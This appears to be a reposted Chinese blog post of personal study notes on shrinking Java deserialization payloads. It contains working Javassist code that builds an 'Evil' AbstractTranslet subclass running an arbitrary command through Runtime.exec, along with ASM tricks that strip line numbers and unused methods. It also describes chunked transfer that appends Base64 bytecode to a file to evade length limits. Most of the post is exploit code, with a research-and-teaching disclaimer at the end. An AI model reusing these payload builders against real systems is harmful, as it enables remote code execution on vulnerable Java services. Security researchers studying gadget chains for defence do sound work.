1.修改gadeget
2.通过修改字节码删掉一些无用代码
如使用asm删掉LineNumberTable 删掉行号
byte[] bytes = Files.readAllBytes(Paths.get(path));
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
int api = Opcodes.ASM9;
ClassVisitor cv = new ShortClassVisitor(api, cw);
int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
cr.accept(cv, parsingOptions);
byte[] out = cw.toByteArray();
Files.write(Paths.get(path), out);
ShortClassVisitor
public class ShortClassVisitor extends ClassVisitor {
private final int api;
public ShortClassVisitor(int api, ClassVisitor classVisitor) {
super(api, classVisitor);
this.api = api;
}
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
return new ShortMethodAdapter(this.api, mv);
}
}
重点在于ShortMethodAdapter:如果遇到LINENUMBER指令则阻止传递,可以理解为返回空
public class ShortMethodAdapter extends MethodVisitor implements Opcodes {
public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {
super(api, methodVisitor);
}
@Override
public void visitLineNumber(int line, Label start) {
// delete line number
}
}
读取编译的字节码并处理后替换
3.通过Javassist动态生成的恶意字节码
这种确实比原生的少一些字节,虽然代码看上去几乎一模一样了。而且使用javap -c -l EvilByteCodes.class 确实没有明显看出来LineNumber。
如图所示:
通过Javassit动态生成构造出来的代码:
直接写出来的代码
长度比较
javaassist动态生成恶意代码的代码
private static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {n" +
" Runtime.getRuntime().exec("" + cmd + "");n" +
" } catch (Exception ignored) {n" +
" }");
CtMethod ctMethod1 = CtMethod.make(" public void transform(" +
"com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
"com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {n" +
" }", ctClass);
ctClass.addMethod(ctMethod1);
CtMethod ctMethod2 = CtMethod.make(" public void transform(" +
"com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
"com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, " +
"com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {n" +
" }", ctClass);
ctClass.addMethod(ctMethod2);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
4.删掉无用代码
比如因为继承多了一些空白重写方法。使用asm删掉,或者直接javassist去构造无重写方法。据说都能跑起来
(1)通过ASM删除方法
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
if (name.equals("transform")) {
return null;
}
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
return new ShortMethodAdapter(this.api, mv, name);
}
(2)通过Javassist直接构造
private static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {n" +
" Runtime.getRuntime().exec("" + cmd + "");n" +
" } catch (Exception ignored) {n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
5.删除静态代码块,将代码写入空参构造
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make(" public Evil(){n" +
" try {n" +
" Runtime.getRuntime().exec("" + cmd + "");n" +
" }catch (Exception ignored){}n" +
" }", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
6.分块传输
可以用追加的方式发送多个请求往指定文件中写入字节码,将真正需要执行的字节码分块
使用Javassist动态生成写入每一分块的Payload,以追加的方式将所有字节码的Base64写入某文件
这主要是我2022年自己学习java安全过程中搜集相关资料找到的,然后当时实践过一部分。仅作自己知识记录
主要借鉴学习参考:https://developer.aliyun.com/article/863792#slide-5 原文好像是另一个大佬的,忘记是谁的了。。0-0
原文始发于微信公众号(天才少女Alpha):反序列化payload缩小长度
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论